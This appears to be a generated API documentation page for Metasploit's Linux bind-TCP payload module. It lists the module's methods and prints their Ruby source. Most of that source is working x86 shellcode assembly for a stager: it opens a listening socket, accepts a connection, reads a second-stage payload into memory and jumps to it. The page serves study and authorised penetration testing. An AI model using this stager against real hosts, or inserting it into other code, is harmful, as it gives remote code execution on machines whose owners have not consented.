Module: Msf::Payload::Linux::BindTcp
- Includes:
- Msf::Payload::Linux, SendUUID, TransportConfig
- Defined in:
- lib/msf/core/payload/linux/bind_tcp.rb
Constant Summary
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
-
#asm_bind_tcp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
-
#generate(_opts = {}) ⇒ Object
Generate the first stage.
-
#generate_bind_tcp(opts = {}) ⇒ Object
Generate and compile the stager.
-
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
-
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested.
- #transport_config(opts = {}) ⇒ Object
- #use_ipv6 ⇒ Object
Methods included from SendUUID
Methods included from Msf::Payload::Linux
Methods included from TransportConfig
#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Methods included from Pingback::Options
Instance Method Details
#asm_bind_tcp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 82 def asm_bind_tcp(opts={}) #reliable = opts[:reliable] af_inet = 2 if use_ipv6 af_inet = 0xa end encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first asm = %Q^ bind_tcp: push 0x7d ; mprotect syscall pop eax cdq mov dl,0x7 mov ecx,0x1000 mov ebx,esp and bx,0xf000 int 0x80 ; invoke mprotect xor ebx,ebx mul ebx push ebx ; PROTO inc ebx ; SYS_SOCKET and SOCK_STREAM push ebx push #{af_inet} ; SYS_BIND and AF_INET(6) mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) ; set the SO_REUSEADDR flag on the socket push ecx push 4 push esp push 2 push 1 push eax xchg eax,edi ; stash the socket handle mov ecx, esp push 0xe ; SYS_SETSOCKOPT pop ebx push 0x66 ; socketcall syscall pop eax int 0x80 mov eax,edi ; restore the socket handle add esp, 0x14 pop ecx ; restore ecx pop ebx pop esi ^ if use_ipv6 asm << %Q^ push 2 pop ebx push edx push edx push edx push edx push edx push edx push #{encoded_port} mov ecx,esp push 0x1c ^ else asm << %Q^ push edx push #{encoded_port} push 0x10 ^ end asm << %Q^ push ecx push eax mov ecx,esp push 0x66 ; socketcall syscall pop eax int 0x80 ; invoke socketcall (SYS_BIND) shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall push edi ; stash the listen socket inc ebx ; SYS_ACCEPT mov al,0x66 ; socketcall syscall mov [ecx+0x4],edx int 0x80 ; invoke socketcall (SYS_ACCEPT) xchg eax,ebx ^ if include_send_uuid asm << %Q^ mov edi, ebx #{asm_send_uuid} ^ end asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes mov al,0x3 ; read syscall int 0x80 ; invoke read xchg ebx,edi ; stash the accept socket in edi pop ebx ; restore the listen socket mov al,0x6 ; close syscall int 0x80 ; invoke close jmp ecx ; jump to the payload ^ asm end |
#generate(_opts = {}) ⇒ Object
Generate the first stage
22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 22 def generate(_opts = {}) conf = { port: datastore['LPORT'], reliable: false } # Generate the more advanced stager if we have the space if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end generate_bind_tcp(conf) end |
#generate_bind_tcp(opts = {}) ⇒ Object
Generate and compile the stager
52 53 54 55 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 52 def generate_bind_tcp(opts={}) asm = asm_bind_tcp(opts) Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string end |
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
41 42 43 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 41 def include_send_uuid false end |
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested
64 65 66 67 68 69 70 71 72 73 74 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 64 def required_space # Start with our cached default generated size space = cached_size # Reliability checks add 4 bytes for the first check, 5 per recv check (2) # TODO: coming soon #space += 14 # The final estimated size space end |
#transport_config(opts = {}) ⇒ Object
57 58 59 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 57 def transport_config(opts={}) transport_config_bind_tcp(opts) end |
#use_ipv6 ⇒ Object
45 46 47 |
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 45 def use_ipv6 false end |